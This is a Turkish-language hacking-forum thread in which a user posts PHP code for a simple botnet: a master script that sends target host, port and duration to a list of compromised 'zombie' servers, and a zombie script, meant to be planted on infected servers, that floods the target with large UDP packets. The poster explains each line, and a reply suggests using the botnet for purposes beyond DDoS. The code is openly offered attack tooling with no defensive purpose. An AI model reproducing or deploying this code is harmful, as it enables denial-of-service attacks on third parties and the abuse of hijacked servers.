Joined
Sep 1, 2018
Credits
55
Rating - 0%
(Alıntıdır)
Lütfen like atmayı unutmayın :)

View hidden content is available for registered users!
Öncelikle botnet'leri yöneteceğimiz bir MASTER SERVER ve bu master sever tarafından yönetilen ZOMBİ SERVER'lar için ayrı ayrı kodlar yazalım
Zombi server'lar için yazacağımız kod master server'dan gelecek bir emir ile hedef sisteme saldırı yapack şekilde hazırda bekleye bir script oluşturacaktır
dvd8jX.jpg

MASTER SERVER KODLARI
<?php
$zombies =[''1.1.1.1'', ''2.2.2.2'', ''hedefsite.com''];
$file_path = ''botnet/zombie.php'';
$trgt_host = $argv[1];
$trgt_port = $argv[2];
$exec_time = $argv[3];
$ch = curl_init();
foreach($zombies as $zombie){
curl_setopt($ch, CURLOPT_URL,
''https://''.$zombie.''/''.$file_path);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
''host=''.$trgt_host.''&port=''.$trgt_port.
''&exec_time=''.$exec_time);
curl_exec ($ch);
}
curl_close ($ch);
?>
YUKARIDA VERİLEN KODLARDAKİ İŞLEMLER
$zombies=Zombi server'laravbulştırmamız gereken birzdan yazacağımız scripti bulştırabileceğimiz server'ları dizi olark tutalım ve her yeni server'a bulaştırdığımızda push edelim
$target_path=değişkeninde ise zararlı script bulaştırdığımız server'lardaki zararlı script yolunu girdim
$trgt_host,$trgt_port ve $ exec_time=zombi server'ların saldırmasını istediğimiz hedef server IP ve PORT'unu ve saldırının ne kadar süreceğini girdiğimiz yerdir
Sonrasında cURL'ü başlatıp hemen ardından zombi server listemizi foreachile teker teker işleme sokuyoruz
Döngümüzün her adımındaki n.cURL ile saldırması gereken server IP adresi ve port'unun bildiriyor .Yani emir veriyor
Şimdi ise gelelim zombi server'da emirimizi bekleyecek scripte
<?php
$packets = 0;
$host = $_POST['host'];
$port = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['exec_time'];
$time = time();
print ''$host hostunun $port portuna <br><br>'';
$max _time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= ''X'';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(''udp://$host'', $port,
$errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo ''Saldırı ''.time('h:i:s').'' itibari ile
tamamlandı <br />'';
echo ''Toplam ''.$packets.'' adet '' .
round( ( $packets*65)/1024, 2) . '' mB boyutunda
paket gönderildi.<br />'';
echo ''Saniyede ortalama ''. round($packets/$exec_
time, 2) . ''paket gönderildi.<br />'';
?>
Şimdi ise bu scriptte ne yazdığını açıklayayım
$packets=Hesapları yapan değişkendir
$hostve$port=Değişkenleri ise IP adresi ve PORTUNU post metodu ile alıyoruz
set_time_limit=sayfanın çalışması gerektiği süreyi belirten fonksiyondur
ignore_user_abort=kullanıcı browserı kapatsa bile işleme devam eden fonksiyondur
$exec_time=saldırının ne kadar sürmesi gerektiğini alıyoruz
$max_time=saldırını ne zaman bitmesi gerektiğini kaydeden fonksiyon
fordöngüsü ile 65535adet büyük Xharfinin yan yana yazılı olduğu bir string oluşturup ,bu stringi $outdeğişkenine atıyoruz
while(true)=ile sonsuz döngümüzü başlatıyoruz
$fpdeğişkeninde ise fsockopen ile hedef sunucu portuna bir UDP bağlantısı açıyoruz ve önceden hazırlamış olduğumuz 65535 adet büyük X harfinde oluşan stringi gönderiyoruz
Konu Tamamen bana aittir yazım hatalarım olduysa affola
Emeğim çoktur
Bir teşekkürüde bana çok görmeyin
 
Joined
Feb 25, 2020
Credits
0
Rating - 0%
eline sağlık ama botnet işi çok mantıklı bir şeydir ama siz gidip ddos atarsanız çok saçma bir şey olur ve ddos lamerlıktır botnet ağını ddos dışında kullanın
 

Users who are viewing this thread

Top